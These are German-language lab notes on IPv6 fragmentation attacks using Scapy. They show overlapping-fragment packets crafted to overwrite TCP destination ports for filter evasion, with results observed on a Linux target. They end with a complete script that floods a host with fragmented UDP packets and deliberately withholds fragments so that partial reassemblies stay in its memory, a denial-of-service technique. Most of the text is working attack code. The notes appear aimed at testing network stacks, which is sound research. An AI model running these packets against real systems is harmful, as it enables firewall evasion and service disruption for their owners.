Scapy: Die fragment6(packet, size) Funktion setzt voraus, dass das zu fragmentierende Paket bereits einen Fragmentation-Header besitzt, ansonsten wird nicht fragmentiert.
Linux akzeptiert nur Fragmente deren Payload-Länge ein Vielfaches von 8 ist (Offset wird als Vielfaches von 8 Byte angegeben), ansonsten gibt es eine ICMP-Parameter-Problem Meldung
dest="2001:db8:1:0:a00:27ff:affe:1234" /* Ubuntu */ p23 = IPv6(dst=dest)/IPv6ExtHdrFragment(id=123456,m=1)/TCP(sport=17002,dport=23,flags="S")/Raw("x"*36) p80 = IPv6(dst=dest)/IPv6ExtHdrFragment(id=123456,m=0)/TCP(sport=17002,dport=80,flags="S")/Raw("x"*36) send(p23) send(p80)
Allerdings schlägt die Reassembly auf dem Zielsystem trotzdem fehl (Time Exceeded). Da beide Pakete den Offset 0 tragen und auf das p80 Paket auch eine passende Antwort vom Zielsystem generiert wird, ist davon auszugehen, dass Fragmente mit 'Offset 0' separat behandelt werden (nicht überschrieben)!
Es wird ein Destination Header hinzugefügt, so dass das 2. Fragment mit einem höheren Offset als '0' versandt werden kann und trotzdem der Transport-Header überschrieben werden könnte.
Das Reassembly funktioniert jetzt, allerdings nicht wie erwartet: Linux mit Kernel 2.6.35 scheint für diesen Angriff nicht empfindlich zu sein, das erste empfangene Fragment bleibt erhalten und wird nicht überschrieben.
/* Kein Upper-Layer Header im 1. Fragment → Reassembly: WWW (Port 80)*/
p23 = IPv6(dst=dest)/IPv6ExtHdrFragment(id=123456,m=1)/IPv6ExtHdrDestOpt()/IPv6ExtHdrDestOpt(nh=6) p22 = IPv6(dst=dest)/IPv6ExtHdrFragment(id=123456,m=0,offset=2,nh=60)/TCP(sport=17002,dport=22,flags="S")/Raw("x"*40)
/* Kein Upper-Layer Header im 1. Fragment → Reassembly: WWW (Port 80)*/ /* Verschiedener Upper-Layer Header im 1. Fragment → Telnet (Port 23) */
p23 = IPv6(dst=dest)/IPv6ExtHdrFragment(id=123456,m=1)/IPv6ExtHdrDestOpt()/IPv6ExtHdrDestOpt()/TCP(sport=17002,dport=23,flags="S")/Raw("y"*20)
/* Next Header im nächsten Fragment muss 'Destination Header' sein → WWW (Port 80) */
p80 = IPv6(dst=dest)/IPv6ExtHdrFragment(id=123456,m=0,offset=2,nh=60)/TCP(sport=17002,dport=80,flags="S")/Raw("x"*36)
>>> i=IPv6(dst="2001:db8:20::1") >>> ext=IPv6ExtHdrFragment() >>> q=UDP()/Raw(load="X"*50000) >>> p=Ether()/i/ext/q ## Ether() is requiered for sendpfast() >>> ar1=fragment6(p, 1280)
Senden:
>>> sendp(ar1)
oder schneller:
>>> sendpfast(ar1)
#! /usr/bin/env python from scapy.all import IPv6,IPv6ExtHdrFragment,UDP,Ether,fragment6,sendpfast,Raw,wrpcap import sys ar1=[] target="2001:db8:20::1" fragmentsize=1280 for n in range(1,10): ## Wert erhöhen um mehr Pakte zu erzeugen die Fragmentiert werden i=IPv6(dst=target) ext=IPv6ExtHdrFragment() q=UDP()/Raw(load="V"*50000) p=Ether()/i/ext/q ar1.extend(fragment6(p, fragmentsize)) f=len(ar1) x=0 while x < f: ## ueberschreibt jedes 30. Fragment mit dem 3. ar1[x]=ar1[2] ## Fragmente werden so nie vollständig übertragen x=x+30 ## und verbleiben im Speicher von target sendpfast(ar1)
in Scapys sendrecv.py:
257: @conf.commands.register 258: def sendpfast(x, pps=None, mbps=None, realtime=None, loop=0, iface=None): -->: from scapy.utils import wrpcap 259: """Send packets at layer 2 using tcpreplay for performance
tcpreplay muss installiert sein:
$ sudo apt-get install tcpreplay